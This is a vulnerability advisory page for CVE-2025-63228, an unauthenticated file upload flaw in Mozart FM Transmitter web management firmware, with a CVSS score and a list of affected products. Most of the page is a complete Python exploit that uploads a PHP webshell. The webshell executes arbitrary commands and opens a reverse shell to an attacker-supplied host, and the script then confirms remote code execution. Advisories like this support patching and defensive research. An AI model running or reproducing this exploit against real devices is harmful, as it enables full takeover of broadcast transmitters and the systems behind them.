Security Vulnerability Report
中文
CVE-2025-63228 CVSS 9.8 CRITICAL

CVE-2025-63228

Published: 2025-11-18 20:15:48
Last Modified: 2025-12-08 14:44:32

Description

The Mozart FM Transmitter web management interface on version WEBMOZZI-00287, contains an unauthenticated file upload vulnerability in the /upload_file.php endpoint. An attacker can exploit this by sending a crafted POST request with a malicious file (e.g., a PHP webshell) to the server. The uploaded file is stored in the /upload/ directory, enabling remote code execution and full system compromise.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dbbroadcast:mozart_next_100_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_100:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_1000_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_1000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_2000_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_2000:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_30_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_30:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:dbbroadcast:mozart_next_300_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:dbbroadcast:mozart_next_300:-:*:*:*:*:*:*:* - NOT VULNERABLE
Mozart FM Transmitter WEBMOZZI-00287

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-63228 PoC - Mozart FM Transmitter Unauthenticated File Upload # Target: Mozart FM Transmitter WEBMOZZI-00287 # Endpoint: /upload_file.php # Impact: Remote Code Execution via PHP Webshell Upload def exploit(target_url, lhost, lport): """ Exploit the unauthenticated file upload vulnerability in Mozart FM Transmitter Args: target_url: Base URL of the target (e.g., http://192.168.1.100) lhost: Attacker IP for reverse shell lport: Attacker port for reverse shell """ # Generate PHP webshell with reverse shell webshell_content = f"""<?php // CVE-2025-63228 - Mozart FM Transmitter Webshell // This webshell provides command execution capability if(isset($_GET['cmd'])) {{ $cmd = $_GET['cmd']; $output = shell_exec($cmd); echo "<pre>$output</pre>"; }} // Reverse shell functionality if(isset($_GET['reverse'])) {{ $sock = fsockopen("{lhost}", {lport}); $proc = proc_open("/bin/sh", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); proc_close($proc); }} ?>""" # Prepare the exploit upload_url = f"{target_url}/upload_file.php" files = { 'file': ('shell.php', webshell_content, 'application/x-php') } headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } print(f"[*] Exploiting CVE-2025-63228") print(f"[*] Target: {target_url}") print(f"[*] Uploading webshell to {upload_url}") try: # Send the malicious file upload request (no authentication required) response = requests.post(upload_url, files=files, headers=headers, timeout=10) if response.status_code == 200: # Determine the uploaded file location webshell_url = f"{target_url}/upload/shell.php" print(f"[+] Webshell uploaded successfully!") print(f"[+] Webshell URL: {webshell_url}") print(f"[+] Execute commands via: {webshell_url}?cmd=whoami") print(f"[+] Get reverse shell via: {webshell_url}?reverse=1") # Verify the webshell is accessible verify_response = requests.get(f"{webshell_url}?cmd=echo+CVE-2025-63228", timeout=10) if 'CVE-2025-63228' in verify_response.text: print("[+] Webshell verification successful - RCE achieved!") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <lhost> <lport>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 192.168.1.50 4444") sys.exit(1) target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] exploit(target, lhost, lport)

References

Raw JSON Data

JSON
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